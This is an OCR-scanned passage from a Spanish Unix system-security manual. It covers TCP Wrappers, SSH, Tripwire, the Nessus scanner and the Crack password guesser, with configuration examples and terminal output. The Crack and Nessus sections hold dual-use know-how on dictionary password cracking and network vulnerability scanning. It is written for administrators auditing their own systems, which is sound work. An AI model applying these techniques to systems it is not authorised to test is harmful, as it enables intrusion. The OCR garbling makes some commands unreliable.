/usr/bin/ su 

/usr/bin/tip 

/usr/bin/uptime 

/usr/bin/yppasswd 

/usr/bin/w 

/usr/bin/ ct 

/usr/bin/ cu 

/usr/bin/ uucp 

/usr/bin/uuglist 

/usr/bin/uuname 

/usr/bin/ uustat 

/usr/bin/uux 

/usr/lib/ exrecover 

/usr/lib/f s/uf s/uf sdump 

/usr/lib/f s/uf s/uf srestore 

/usr/lib/pt_chmod 

/usr/lib/ sendmail ,mx 

/usr/lib/ acct/accton 

/usr/sbin/allocate 

/usr/sbin/mkdevalloc 

/usr/sbin/mkdevmaps 

/usr/sbin/ping 

/usr/sbin/sacadm 

/usr/sbin/static/rcp 

/usr/sbin/whodo 

/usr/sbin/deallocate 

/usr/sbin/list_devices 
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/usr/openwin/bin/xlock 
/usr /openwin/bin/ xdm 
/usr/openwin/lib/mkcookie 
/usr/ucb/ps 

/usr/vmsys/bin/chkperm 

/usr/bin/passwd 

/usr/bin/ csh 

/ etc/lp/ alerts/printer 

/usr/kvm/ crash 

/usr/kvm/ eeprom 

/usr/bin/netstat 

/usr/bin/nf sstat 

/usr/bin/ write 

/usr/bin/ ipcs 

/usr/sbin/arp 

/usr/sbin/prtconf 

/usr/sbin/swap 

/usr/sbin/sysdef 

/usr/sbin/wall 

/usr/sbin/dmesg 

/usr/openwin/bin/Xsun 

/usr/openwin/bin/wsinf o 

/usr /openwin/bin/ mailt ool 

/usr/openwin/bin/xload 

/usr/openwin/bin/kcms_calibrate 

/usr /openwin/bin/kcms_conf igure 

/usr/openwin/bin/kcms_server 

/var/adm/messages 

/var/log/ syslog 

/var /adm/ pacct 

anita: / export /home/toni/Security/Tools/Titan, v3 . 0 .FCS# 

Mirando por encima el resultado ofrecido por Titan, vemos que ha detectado jcasi 50 posibles 
problemas! (cada mensaje FAILS CHECK denota una alarma, mientras que cada mensaje PAS- 
SES CHECK denota un test satisfactorio) . 

A la vista de estos resultados, y teniendo en cuenta que hemos utilizado una version mas o menos 
moderna de Solaris (la version 7 10/98, si hubieramos comprobado una version de Solaris o SunOS 
mas antigua habriamos detectado seguramente muchos mas problemas), parece claro que un siste- 
ma Unix instalado tal y como se distribuye, o con una configuration de seguridad minima -nuestro 
caso-, representa un grave problema ya no solo para la maquina en cuestion, sino para toda la 
red en la que trabaja. Por tanto, el uso de cualquier herramienta que nos ayude a solucionar, o al 
menos a localizar problemas, va a ser util. 


15.3 TCP Wrappers 

En el punto 10.4 hablabamos de los servicios ofrecidos desde nuestra maquina; alii comentamos 
que cualquiera de ellos es una potential puerta de entrada para un atacante, por lo que es muy 
recomendable cerrar todos los que no necesitemos; vimos un esquema todo o nada: u ofreciamos 
un servicio a toda la red o lo denegabamos, pero no habia termino medio. 

Hay una serie de servicios como telnet o ftp que habitualmente no vamos a poder cerrar, ya que los 
usuarios necesitaran conectar al servidor para trabajar en el o para transferir ficheros; en estos casos 
es peligroso permitir que cualquier maquina de Internet tenga la posibilidad de acceder a nuestros 
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recursos, por lo que se suele utilizar un programa denominado TCP Wrappers ([Ven92]) para definir 
una serie de redes o maquinas autorizados a conectar con nosotros. Aquf veremos como instalar 
este software - en su version 7.6 - y su configuration basica para que no todo el mundo pueda con- 
tactar con nosotros. Actualmente, cualquier administrador que desee un mfnimo de seguridad ha 
de instalar TCP Wrappers en sus equipos; incluso algunos Unices como Linux o BSDI lo ofrecen por 
defecto al instalar el operativo. Cabe decir que la configuration del programa puede ser muy elabo- 
rada y con muchas opciones; aqui veremos la forma mas basica, que suele ser automatica mediante 
make install 2 . Para configuraciones mas avanzadas se recomienda consultar los ficheros de ayuda. 

En nuestro caso vamos a instalar TCP Wrappers sobre una maquina Silicon Graphics corriendo 
IRIX 6.2: 

llegona_(/) # uname -a 

IRIX64 llegona 6.2 06101031 IP28 

llegona_(/) # 

No vamos a entrar aquf en como compilar el software (para ello se puede consultar el fichero 
README) ; asumiremos que ya lo tenemos compilado y el resultado esta, por ejemplo, en el directorio 
/tmp/tcp_wrappers_7 . 6/. Tras compilar el software se habran generado una serie de ficheros 
ejecutables que hemos de copiar a un destino definitivo, por ejemplo a /etc/usr/sbin/: 

llegona_(/tmp/tcp_wrappers_7.6) # cp 'find . -type f -perm -700' /usr/sbin/ 
llegona_ (/tmp/t cp_wrappers_7 .6) # 

Una vez en su destino definitivo, hemos de modificar el fichero /etc/inetd. conf para indicarle a 
inetd que ha de utilizar el demonio tcpd (la parte mas importante de TCP Wrappers) a la hora 
de servir peticiones; para ello, una entrada de la forma 

telnet stream tcp nowait root /usr/etc/telnetd 

se convertira en una como 

telnet stream tcp nowait root /usr/sbin/tcpd /usr/etc/telnetd 

Como vemos, en lugar de que inetd ejecute directamente el demonio correspondiente a cada servi- 
cio, ejecuta el wrapper, y es este el encargado de controlar la ejecucion del demonio real. 

Tras haber modificado convenientemente /etc/inetd. conf hemos de configurar los servicios que 
vamos a ofrecer a diferentes maquinas o redes; seguiremos una polftica restrictiva: todo lo no 
explfcitamente permitido, esta negado. Para ello, en el archivo /etc/hosts . allow indicamos que 
servicios ofrecemos y a donde lo hacemos 3 , de la siguiente forma: 

demonio: maquinas 

Donde ‘demonio ’ es el nombre del demonio encargado de atender el servicio correspondiente 
(sendmail, telnetd, f ingerd. . . ), y ‘maquinas’ es la especificacion de los hosts a los que les esta 
permitida la conexion a cada servicio; se trata de una lista separada por espacios donde podemos 
incluir desde nombres de sistemas o direcciones IP hasta subdominios, pasando por palabras reser- 
vadas como ALL. Asf, si por ejemplo queremos ofrecer todo a las maquinas .dsic.upv.es, telnet 
a andercheran.aiind.upv.es y luisvive.euiti.upv.es, y ftp a toda la UPV, tendremos un 
/etc/hosts . allow de la forma siguiente: 

llegona_(/) # cat /etc/hosts . allow 
ALL: .dsic.upv.es 

telnetd: andercheran.aiind.upv.es luisvive.euiti.upv.es 
ftpd: .upv.es 
llegona_(/) # 

2 Aqui explicamos el proceso ‘a mano’ simplemente para entender como funciona. 

3 Realmente, tambien es posible especificar acciones a realizar al recibir una conexion; se puede consultar la sintaxis 
exacta en la pagina del manual de hosts_access (5) . 
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Acabamos cle configurar los sistemas con acceso a ciertos demonios; para indicar a TCP Wrappers 
que nuestros servicios no van a ser ofertados a nadie mas, creamos el fichero /etc/hosts . deny y 
denegamos todo a todos: 

llegona_(/) # cat /etc/hosts . deny 
ALL: ALL 
llegona_(/) # 

Una vez hemos configurado todo, hemos de hacer que inetd relea su fichero de configuration en- 
viandole la serial SIGHUP, por ejemplo con la orden killall -HUP inetd 4 . A partir de ese moment o 
los cambios han tenido efecto; en funcion de nuestro /etc/syslog . conf , pero generalmente en ar- 
chivos como /var/adm/SYSLOG o /var/adm/messages vamos a poder ver las conexiones aceptadas 
y las rehusadas: 

Dec 2 02:16:47 llegona ftpd [18234] : refused connect from bill.microsoft.com 
Dec 2 02:45:23 llegona telnetd [18234] : connect from corbella.dsic.upv.es 

Cuando alguien clesde una maquina que tiene permiso para acceder a cierto servicio conecte a el no 
notara nada raro, pero si lo hace desde un equipo no autorizado, la conexion se cerrara: 

anita:~# telnet llegona.dsic.upv.es 
Trying 158 .42.49.37. . . 

Connected to llegona.dsic.upv.es 
Escape character is ’ ~] ’ . 

llegona login: Connection closed by foreign host, 
anita: ~# 

15.4 SSH 

Tradicionalmente el intercambio de datos entre sistemas Unix (desde la transferencia de ficheros o 
la comparticion de archivos via NFS hasta el acceso remoto) se ha realizado utilizando mecanis- 
mos en los que la seguridad era un factor poco importante frente a otros como la velocidad o la 
disponibilidad. Sin embargo, conforme ha ido aumentando la calidad de los medios de transmision 
(en la actualidad cualquier pequena organization tiene al menos una red Fast Ethernet capaz de 
alcanzar velocidades de 100 Mbps, cuando no una ATM, una FDDI o incluso una GigaEthernet 
que alcanza los 1000 Mbps de velocidad), y tambien conforme ha ido aumentando la peligrosidad 
de las redes, especialmente de Internet, se ha ido considerando mas el grave problema que implica 
una transmision de datos en texto claro, ya sea un telnet, un ftp o incluso la transmision de datos 
que tiene lugar al utilizar sistemas de ficheros en red. Por suerte, en la actualidad, casi nadie sigue 
usando los medios clasicos de intercambio de datos entre equipos Unix: por ejemplo, muy poca 
gente sigue conectando mediante telnet a maquinas remotas, mientras que hace unos pocos anos era 
habitual ver estas conexiones incluso entre maquinas separadas por multitud de redes. Casi todos 
los mecanismos clasicos se han reemplazado por protocolos que incorporan el cifrado en mayor o 
menor medida, de forma que un pirata que captura datos transmitidos entre sistemas lo tiene muy 
dificil para conseguir information importante, como una clave de usuario; ejemplos de protocolos 
que incorporan la criptografia son SSL ( Secure Socket Layer) o TCFS ( Transparent Cryptographic 
File System, del que ya hemos hablado en este proyecto). 

Dentro de todo estos modelos considerados seguros esta Secure Shell (ssh), un software cuya princi- 
pal funcion es permitir la conexion remota segura a sistemas a traves de canales inseguros, aunque 
tambien se utiliza para la ejecucion de ordenes en ese sistema remoto o transferir ficheros desde o 
hacia el de manera fiable ([Ylo96]); es, por tanto, el sustituto ideal de ordenes como telnet, ftp o 
r* de Unix BSD. Todo esto utilizando RSA, SecurlD, Kerberos, TIS o la autenticacion clasica de 

4 Concretamente en IRIX este mecanismo no funciona, hay que matar el demonio y volverlo a lanzar. 
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Unix ( login y password). Ademas, y entre otras caracteristicas, SSH tambien soporta el cifrado au- 
tomatico en sesiones X-Window o modelos de seguridad mas avanzados, como el cifrado en NFS o la 
construction de redes privadas virtuales; su codigo fuente es libre para uso no comercial (existe otro 
software casi completamente compatible con ssh y completamente libre, denominado OpenSSH) 
y se puede obtener en http://www.ssh.fi/. En la actualidad, SSH funciona sobre la mayoria 
de clones de Unix (tambien existen versiones para Windows y MacOS), y es ampliamente utiliza- 
do en todo tipo de entornos, desde universidades a bancos pasando por empresas de cualquier sector. 

SSH esta formado por un programa servidor, sshd, varios programas cliente (ssh y scp principal- 
mente) y pequenas aplicaciones para su configuration, como ssh-add, ssh-keygen o ssh-agent. 
El programa demonio (sshd) se ejecuta en la maquina contra la cual conectamos, mientras que 
los clientes se han de ejecutar evidentemente en el sistema desde el cual conectamos; asi, podemos 
iniciar una sesion en la maquina remota con una orden como la siguiente: 

anita: ~# ssh -1 toni rosita 
toni’s password: 

Last login: Thu Apr 6 03:58:32 2000 from anita 
Linux 2.2.6 

"A witty saying proves nothing." 

— Voltaire 


rosita: 

El parametro ‘ -1 1 nos permite indicar el nombre de usuario en el sistema remoto (en caso contrario, 
se utilizara el mismo nombre que se posee en la maquina local); SSH tambien permite especificar 
desde lfnea de comandos una orden a ejecutar en la maquina a la que conectamos, de forma que 
cuando esta orden fmalice se cerrara la conexion entre ambos sistemas: 


anita: ~# ssh -1 toni luisa w 
toni’s password: 


3 : 15am 

up 5 

days , 1 : 

:30, 5 users 

; , load average : 1 . 

M- 

to 

h— L 

o 

M- 

O 
1— k 

USER 

TTY 

FROM 

LOGIN® 

IDLE 

JCPU 

PCPU 

WHAT 

root 

ttyl 

- 

Satl2am 

5days 

0.02s 

0.02s 

bash 

toni 

ttypl 

: 0 . 0 

Sun 3pm 

1:02 

0.18s 

0.13s 

telnet rosita 

toni 

ttyp2 

: 0 . 0 

Sun 4am 

2.00s 

2.40s 

2.04s 

vi tools.tex 

toni 

anita: ~# 

ttyp4 

anita 

Tue lam 

0.00s 

1.31s 

0.02s 

w 


Como hemos podido ver, ssh se utiliza basicamente para iniciar sesiones o ejecutar comandos en un 
sistema remoto; el otro programa cliente, scp, es utilizado para transferir ficheros entre maquinas, de 
una forma similar a rep, lo que por ejemplo permite sustituir el ftp traditional por este mecanismo. 
Si por ejemplo deseamos copiar todos los ficheros del directorio /export/home/toni/ conectando 
al sistema remoto bajo el nombre de usuario toni en el directorio /tmp/ de la maquina local, lo 
podemos conseguir con una orden como esta: 

luisa: ~# scp -r toniQanita: /export/home/toni/ /tmp/ 
toni’s password: 
luisa: ~# 

Como podemos ver, estamos indicando el nombre de usuario y el del sistema remotos separados 
por 1 0 ’ , y separados a su vez de la ruta origen por el signo ‘ : ’ . 

Pero, /que es lo que realmente hace cualquiera de estos clientes contra el servidor sshd? Si no 
indicamos lo contrario con la option ‘ -p ’ , el cliente conecta al puerto 22 de la maquina servidora 
y verifica que esta maquina es realmente con la que queremos conectar, intercambia las claves de 
cifrado entre sistemas (cifradas a su vez, para evitar que un atacante pueda obtener la information) 
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y autentica utilizando .rhosts y /etc/hosts.equiv (como los protocolos r- *), RSA o claves de 
usuario; si todo es correcto, el servidor asigna una terminal virtual (generalmente) a la conexion 
y lanza un shell interactive. Podemos ver con cletalle este proceso utilizando la option ‘-v’ del 
cliente: 


luisa: ~# ssh -v -1 toni luisa 

SSH Version 1.2.21 [i486-unknown-linux] , protocol version 1.5. 

Standard version. Does not use RSAREF. 
luisa: Reading configuration data /etc/ssh_conf ig 
luisa: ssh_connect: getuid 0 geteuid 0 anon 0 
luisa: Connecting to luisa [195.195.5.2] port 22. 
luisa: Allocated local port 1023. 
luisa: Connection established. 

luisa: Remote protocol version 1.5, remote software version 1.2.21 
luisa: Waiting for server public key. 

luisa: Received server public key (768 bits) and host key (1024 bits). 

luisa: Host ’luisa’ is known and matches the host key. 

luisa: Initializing random; seed file /root/ . ssh/random_seed 

luisa: Encryption type: idea 

luisa: Sent encrypted session key. 

luisa: Received encrypted confirmation. 

luisa: Trying rhosts or /etc/hosts.equiv with RSA host authentication, 
luisa: Remote: Rhosts/hosts . equiv authentication refused :\ 

client user ’root’, server user ’toni’, client host ’luisa’. 
luisa: Server refused our rhosts authentication or host key. 
luisa: No agent. 

luisa: Doing password authentication. 

toni’s password: 

luisa: Requesting pty. 

luisa: Failed to get local xauth data. 

luisa: Requesting Xll forwarding with authentication spoofing. 

luisa: Requesting shell. 

luisa: Entering interactive session. 

Last login: Thu Apr 6 04:13:41 2000 from luisa 
Linux 2.2.6 

If you want divine justice, die. 

— Nick Seldon 


luisa: ~$ exit 
logout 

Connection to luisa closed. 

luisa: Transferred: stdin 5, stdout 491, stderr 29 bytes in 2.6 seconds 
luisa: Bytes per second: stdin 1.9, stdout 189.0, stderr 11.2 
luisa: Exit status 0 
luisa: ~# 

Como sucede en cualquier programa cliente-servidor, la configuration de la parte cliente es mucho 
mas sencilla que la de la parte servidora: ni siquiera es necesario el fichero de configuration general 
/etc/ssh_conf ig, donde se definen parametros por defecto (que cada usuario puede modificar para 
si mismo en sus propios ficheros o en linea de ordenes). Solamente necesitamos el ejecutable (por 
ejemplo, ssh), que generara en el directorio $H0ME/ . ssh de quien lo ejecute varios ficheros necesarios 
para su funcionamiento; quizas el mas importante sea known_hosts, donde se almacenan las claves 
publicas de los diferentes sistemas a los que se conecta. Estas claves, una por linea, se guardan la 
primera vez que se conecta a una determinada maquina, algo que el cliente indica con un mensaje 
de esta forma: 
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rosita:~# ssh -1 toni luisa 

Host key not found from the list of known hosts. 

Are you sure you want to continue connecting (yes/no)? yes 
Host ’luisa’ added to the list of known hosts, 
toni’s password: 

Last login: Thu Apr 6 23:20:42 2000 from :0.0 
Linux 2.2.6 

Drive defensively. Buy a tank, 
luisa: ~$ 

Por su parte, la configuration del servidor es algo mas compleja; en el archivo /etc/sshd_conf ig, 
fichero de configuration del demonio sshd, se especifican todos los parametros necesarios para su 
funcionamiento. Algunos de estos parametros, quizas los mas utiles, son AllowHosts y DenyHosts, 
donde como su nombre indica se referential! los sistemas desde los que la conexion a nuestro demonio 
se permite o se deniega; al contrario de lo que mucha gente sigue pensando, utilizar SSH no implica 
tener disponible el servicio para todo el mundo, y es aquf donde indicamos los sistemas desde donde 
permitimos conexiones. Ademas, podemos servir sshd desde inetd modificando convenientemente 
/etc/inetd. conf en lugar de hacerlo como demonio independiente, de forma que podemos apro- 
vechar un software como TCP Wrappers para restringir conexiones; el rinico inconveniente de este 
modelo es que cada vez que alguien conecta al demonio este tiene que generar una clave RSA para 
esa conexion, lo que en determinadas situaciones puede sobrecargar demasiado al sistema. Si de 
cualquier forma queremos seguir este mecanismo, hemos de modificar /etc/services para ahadir 
una linea como la siguiente: 

ssh 22/tcp 

Y tambien modificaremos /etc/inetd. conf anadiendo la configuration del nuevo servicio: 

ssh stream tcp nowait root /usr/sbin/tcpd /usr/local/sbin/sshd -i 

Tras lo cual, como cada vez que modificamos este archivo, hemos de conseguir que inetd lo relea 
enviandole al demonio la serial SIGHUP. 


15.5 Tripwire 

La herramienta Tripwire ([KS93]), [KS94b]) es un comprobador de integridad para ficheros y di- 
rectories de sistemas Unix: compara un conjunto de estos objetos con la information sobre los 
mismos almacenada previamente en una base de datos, y alerta al administrador en caso de que 
algo haya cambiado. La idea es simple: se crea un resumen de cada fichero o directorio importante 
para nuestra seguridad nada mas instalar el sistema, y esos resrimenes se almacenan en un medio 
seguro (un CD-ROM o un disco protegido contra escritura), de forma que si alguno de los ficheros es 
modificado (por ejemplo, por un atacante que sustituye un programa por una version troyanizada 
o ahade una entrada en nuestro fichero de contrasenas) Tripwire nos alertara la proxima vez que 
realicemos la comprobacion. Para generar esos resrimenes se utilizan funciones hash, de forma que 
es casi imposible que dos ficheros generen el mismo resumen; concretamente Tripwire implementa 
md2, md4, md5, Snefru, CRC-16 y CRC-32. 

Una vez hemos compilado el codigo fuente de Tripwire debemos inicializar la base de datos; 
para ello necesitamos en primer lugar crear el fichero tw.config en la localization indicada en 
include/ conf ig.h, donde espedificaremos los directories a analizar (en el directorio configs/ 
tenemos algunos ficheros de ejemplo, adecuados a diferentes plataformas Unix). A continuation 
inicializaremos la base de datos con la orclen tripwire -initialize (o simplemente -init): 

anita: /tmp/tripwire-1 . 2/src# ./tripwire -init 

### Phase 1: Reading configuration file 



15.5. TRIPWIRE 


251 


### Phase 2: Generating file list 

### Phase 3: Creating file information database 

### 

### Warning: Database file placed in . /databases/tw.db_anita. 

### 

### Make sure to move this file file and the configuration 

### to secure media! 

### 

### (Tripwire expects to find it in ’ /usr/local/tw’ . ) 

anita: /tmp/tripwire-1 ,2/src# 

En el fichero ./databases/tw.db_anita se encuentran las funciones resumen de los archivos y 
directories especificados en tw.config; evidentemente, los datos de ese fichero se asumen como 
fiables, por lo que es recomendable generarlo antes de abrir la maquina a los usuarios, nada mas 
instalar el operativo. Ademas, si un usuario lo consigue modificar toda la seguridad de Tripwire se 
rompe, asf que deberemos almacenarlo en un medio seguro (por ejemplo, de solo lectura), e incluso 
imprimir en papel una copia para realizar comprobaciones si sospechamos de un ataque. 

Con la base de datos inicial ya generada, podemos ejecutar regularmente Tripwire para verifi- 
car que no ha cambiado ningiin resumen de nuestros fichero; para ello es necesario utilizar dicha 
base de datos clesde una fuente segura (por ejemplo, recien copiada desde el medio de solo lectura 
al disco, en modo monousuario) : 

anita: /tmp/tripwire-1 . 2/src# ./tripwire &>resultados 

anita: /tmp/tripwire-1 . 2/src# head -17 resultados 

### Phase 1: Reading configuration file 

### Phase 2: Generating file list 

### Phase 3: Creating file information database 

### Phase 4: Searching for inconsistencies 

### 


### 

Total files scanned: 

4821 

### 

Files added: 

2 

### 

Files deleted: 

0 

### 

Files changed: 

4413 

### 



### 

After applying rules : 


### 

Changes discarded: 

3959 

### 

Changes remaining: 

458 


### 

added: -rw root 0 May 5 03:46:06 2000 /var/tmp/test 

changed: -rw-r — r — root 972 May 5 03:49:53 2000 /var/adm/utmp 

changed: -rw-r — r — root 10044 May 5 03:49:53 2000 /var/adm/utmpx 

anita: /tmp/tripwire-1 . 2/ sre# 

Finalmente, clebemos pensar que existiran ficheros o directories que van a cambiar habitualmente 
(por ejemplo, el archivo de contrasenas cada vez que ahadamos a un usuario al sistema); por tanto, 
es logico que Tripwire ofrezca un mecanismo de actualizacion de la base de datos. Es mas, este 
programa posee dos: o bien el modo interactive o el modo actualizacion. En el primero, cada vez 
que Tripwire detecte un fichero con modificaciones nos consultara si deseamos actualizar nuestra 
base de datos, mientras que en el modo update se utiliza para la actualizacion o bien un nombre de 
archivo (si es lo unico modificado) o bien un directorio pasado como parametro al ejecutable. El 
modo interactive se invocado mediante la opcion -interactive: 

anita: /tmp/tripwire-1 . 2/src# ./tripwire -interactive 
### Phase 1: Reading configuration file 

### Phase 2: Generating file list 
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### Phase 3: Creating file information database 

### Phase 4: Searching for inconsistencies 

### 


### 

Total files scanned: 

4820 

### 

Files added: 

1 

### 

Files deleted: 

0 

### 

Files changed: 

4413 

### 



### 

After applying rules : 


### 

Changes discarded: 

3958 

### 

Changes remaining: 

457 


### 

added: -rw toni 32768 May 5 03:55:29 2000 /var/tmp/Rx0000755 

> File: ’ /var/tmp/Rx0000755 ’ 

> Update entry? [YN(y)nh?] 

Mientras que el modo update se consigue mediante el parametro -update; por ejemplo, si hemos 
ahadido a un usuario (y por tanto modificado los ficheros /etc/passwd y /etc/shadow), actuali- 
zaremos la base de datos de Tripwire con la siguiente orden: 


anita: /tmp/tripwire-1 . 2/src# ./tripwire -update /etc/passwd /etc/shadow 

### Phase 1: Reading configuration file 

### Phase 2: Generating file list 

Updating: update file: /etc/passwd 

Updating: update file: /etc/shadow 

### Phase 3: Updating file information database 

### 

### Old database file will be moved to ‘tw.db_anita.old 1 
### in ./databases. 

### 

### Updated database will be stored in ’ . /databases/tw . db_anita J 
### (Tripwire expects it to be moved to Vusr/local/tw’ . ) 

### 

anita: /tmp/tripwire-1 . 2/ src# 


Tripwire es una herramienta muy litil como sistema de detection de intrusos ([KS94a]) en nuestras 
maquinas Unix; ejecutarlo periodicamente, y mantener segura la base de datos de resumenes - 
donde recordemos que reside toda la fiabilidad del producto - nos puede ayudar a detectar accesos 
no autorizados al sistema y, mas importante, modificaciones que el pirata haya podido realizar en 
el para garantizarse un futuro acceso. 


15.6 Nessus 

Sin cluda una de las herramientas de seguridad mas utilizadas durante aiios en todo tipo de entornos 
Unix ha sido SATAN ( Security Analysis Tool for Auditing Networks ), desarrollada por dos pesos 
pesados dentro del mundo de la seguridad: Dan Farmer y Wietse Venema. La tarea de SATAN (o 
SANTA) era detectar vulnerabilidades de seguridad en sistemas Unix y redes, desde fallos conoci- 
dos en el software hasta politicas incorrectas ([Fre98]); el resultado de su ejecucion se mostraba en 
formato HTML, de forma que cualquier administrador podia analizar esa information de una forma 
muy comoda. Evidentemente, esta herramienta puede convertirse en peligrosa en las manos de un 
pirata, por lo que sobre Farmer y Venema llovieron en su dia las criticas por el diseho de SATAN; 
hoy en dia, con las ideas de Security through Obscurity y similares ya superadas - esperemos na- 
die duda en reconocer la gran utilidad de este tipo de herramientas analizadoras de vulnerabilidades. 

Sin embargo, todo esto sucedia en abril de 1995, y SATAN no se ha actualizado mucho desde 
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entonces (la ultima version distribuida es la 1.1.1). Evidentemente, para una herramienta de segu- 
ridad este tiempo sin nuevas versiones es demasiado, por lo que en 1998 surgio Nessus, un analizador 
de vulnerabilidades gratuito, de codigo fuente libre, y lo mas importante: igual de facil - o mas - 
de utilizar que su predecesor. 

La distribution de Nessus consta de cuatro ficheros basicos: las librerias del programa, las librerias 
nasl ( Nessus Attack Scripting Language ), el nucleo de la aplicacion y sus plugins', es necesario 
compilar en este orden cada una de esas partes. Ademas, el programa requiere para funcionar co- 
rrectamente pequenas aplicaciones adicionales, como la librerfa GMP, necesaria para las operaciones 
de cifrado. La compilation sobre diferentes plataformas Unix no ofrece ningiin problema siempre 
que se realice en el orden adecuado, y se suele limitar a un ./configure, make y make install 
para cada una de las cuatro partes de Nessus. 

Una vez hemos compilado e instalado el programa necesitamos en primer lugar generar - como 
root una clave de un solo uso para un usuario de Nessus: 

luisa: "/nessus# nessusd -P toni,prueba 

Generating primes: q ; 

Retrying: . ...q...pg 

luisa: '/nessus# 

Podemos verificar que el nombre de usuario se ha anadido correctamente utilizando la option ‘ -L ’ : 

luisa: "/nessus# nessusd -L 

toni - user password 

luisa: "/nessus# 

Ahora podemos lanzar ya la parte servidora de Nessus, el demonio nessusd; cuando este este 
demonio ejecutandose (escucha peticiones en el puerto 3001 por defecto) podemos conectar a el 
mediante el cliente nessus. La primera vez que ejecutemos este programa nos pedira una pass 
phrase con propositos de autenticacion, frase que se utilizara en ejecuciones posteriores del cliente: 

luisa: ~$ nessus 

Generating primes: q pg 

To protect your private key just generated, enter your personal 
pass phrase, now. Keep that pass phrase secret. And each time 
when you restart nessus, re-enter that pass phrase when you are 
asked, for. This prevents anybody else from logging in to the 
nessus server using your account. 

The drawback of a pass phrase is that it will prevent you from being 
able to use nessus(l) in a cron job or in a quiet script. 

If you do not want to use a pass phrase, enter a blank one. 

To change or remove the pass phrase, later on read in the manual 
page nessus(l) about the -C option. 

New pass phrase: 

Repeat : 

luisa: ~$ 

Entraremos entonces en un comodo interfaz grafico desde el que mediante el password de usuario 
creado anteriormente podemos conectar al servidor de Nessus y comenzar el analisis del sistema, 
especificando las diferentes opciones que el programa nos ofrece a traves de dicho interfaz; en la 
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Nessus Setup ® © (E) 
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Figura 15.1: Interfaz grafico de Nessus. 
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figura 15.1 se muestra el aspecto del entorno ofrecido por Nessus. 

A pesar de la comodidad de estos interfaces graficos, muchos usuarios de Unix seguimos prefiriendo 
la potencia y flexibilidad de la linea de ordenes; Nessus tambien ofrece la posibilidad de escanear 
un sistema sin utilizar entorno grafico, volcando los resultados en un archivo de texto: 

luisa:~$ cat entrada 
rosita 

luisa: ~$ nessus -q localhost 3001 toni entrada salida. rosita 
Pass phrase: 
luisa: ~$ 

La orden anterior conecta al servidor nessusd situado en el puerto 3001 de la maquina luisa bajo 
el nombre de usuario toni, y desde ahi lanza un ataque a los sistemas indicados en el archivo 
entrada (en este caso, solamente a rosita); los resultados de dicho ataque se clepositan tras el 
escaneo en el archivo salida. rosita, un fichero de texto normal y corriente: 

luisa: head -13 salida. rosita 
rosita chargen (19/tcp) 
rosita ftp (21/tcp) 

rosita telnet (23/tcp) INFO The Telnet service is running. This service is 
dangerous in the sense that it is not ciphered - that is, everyone can sniff 
the data that passes between the telnet client and the telnet server. This 
includes logins and passwords. 

You should disable this service and use ssh instead. 

Solution : Comment out the ’telnet' line in /etc/inetd . conf . 

Risk factor : Low 
rosita smtp (25/tcp) 
rosita finger (79/tcp) 
rosita www (80/tcp) 
rosita sunrpc (111/tcp) 
luisa: ~$ 


15.7 Crack 

Crack , desarrollado por el experto en seguridad Alec Muffet, es el ‘adivinador’ de contrasenas mas 
utilizado en entornos Unix; actualmente se encuentra en su version 5 5 , que funciona correctamente 
en la mayoria de clones del sistema operativo (Linux, Solaris, OSF. ..). Ejecutar periodicamente 
Crack sobre el fichero de contrasenas de sus sistemas es algo muy recomendable para cualquier 
administrador mmimamente preocupado por la seguridad, sin importar que se utilicen mecanismos 
para obligar a los usuarios a elegir passwords aceptables. 

Este adivinador realiza una primera pasada sobre el fichero de claves intentando romper contrasenas 
en base a la information de cada usuario almacenada en el archivo; se trata de unas comprobaciones 
rapidas pero efectivas, ya que aunque la cantidad de datos del fichero no es muy grande, se trata 
de information frecuentemente utilizada como password. Tras esta pasada, entran en juego los dic- 
tionaries para seguir adivinando contrasenas (un diccionario no es mas que un fichero con posibles 
passwords en el, generalmente uno por linea). El propio programa se distribuye con algunos de estos 
ficheros, pero es recomendable que se complementen con mas dictionaries (existen multitud de ellos 
disponibles a traves de Internet), especialmente con aquellos que contengan palabras que por las 
caracteristicas del sistema sean susceptibles de ser usadas como claves; por ejemplo, si estamos en 
Espaha seguramente nos convendra utilizar un diccionario con palabras en Castellano; si adminis- 
tramos una maquina de un departamento de biologia, otro con terminos de esta ciencia. . . incluso 

5 Aunque Crack6 y Crack7 existen, no son realmente nuevas versiones del programa, sino un rompecontraseiias 
minimalista y uno de fuerza bruta, respectivamente. 
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si sospechamos que nuestros usuarios son aficionados al deporte, o a la literatura griega antigua, 
podemos encontrar diccionarios adecuados a estos campos. 

Con todos estos diccionarios - los propios y los que cada administrador puede anadir - Crack 
construye una base de datos con la que empieza a trabajar; la primera pasada utilizando dicciona- 
rios consiste simplemente en probar palabras con todas las letras en minusculas. Posteriormente, 
se mezclan mayusculas y minusculas, y de esta forma se van combinando caracteres hasta anadir 
numeros y caracteres alfanumericos a cada palabra de los diccionarios para comprobar que dicha 
combination no es utilizada como contrasena en el sistema. Habitualmente las primeras pasadas 
son las que mas claves son capaces de romper, pero una vez adivinados los passwords mas debiles 
quizas nos interese seguir ejecutando Crack para obtener contraseiias mas elaboradas: recordemos 
que un atacante puede aprovechar la potencia de servidores en los que ha penetrado para ejecutar 
Crack sobre nuestro fichero de contrasehas durante mucho tiempo, por lo que es posible que ‘adivi- 
ne’ claves que a priori no son debiles. 

Tal y como se explica en su documentation, la forma en que Crack trata de adivinar contrasehas es 
seguramente la que consigue mayor velocidad; en primer lugar se ordenan y se agrupan las entradas 
del fichero de passwords en base a su salt (ya comentamos el mecanismo de cifrado a la hora de 
hablar de autenticacion de usuarios). Una vez clasificadas, para cada grupo de salts diferente se 
selecciona una entrada de diccionario convenientemente tratada (mayusculas, numeros. . . ), se cifra 
utilizando el salt (esto es lo que consume mayor tiempo de CPU) y se compara con la contrasena 
cifrada de cada miembro del grupo; si coinciden, se ha adivinado un nuevo password. 

Para invocar a Crack utilizamos como argumento el fichero de claves a atacar; por ejemplo, imagine- 
mos que en lugar de nuestro /etc/passwd vamos a romper las contrasehas de otra de las maquinas, 
guardadas en el fichero ‘maquina’: 

luisa: /usr/local/c50a# ./Crack maquina 
Crack 5.0a: The Password Cracker. 

(c) Alec Muffett, 1991, 1992, 1993, 1994, 1995, 1996 

System: Linux luisa 2.2.13 #6 Tue Apr 25 03:58:00 CEST 2000 i686 unknown 
Home: /usr/local/c50a 
Invoked : . / Crack maquina 
Stamp: linux-2-unknown 

Crack: making utilities in run/bin/linux-2-unknown 
find . -name -print I xargs -n50 rm -f 

( cd src ; for dir in * ; do ( cd $dir ; make clean ) ; done ) 
make[l]: Entering directory ‘/usr/local/c50a/src/lib’ 
rm -f dawglib.o debug. o rules. o stringlib.o *~ 
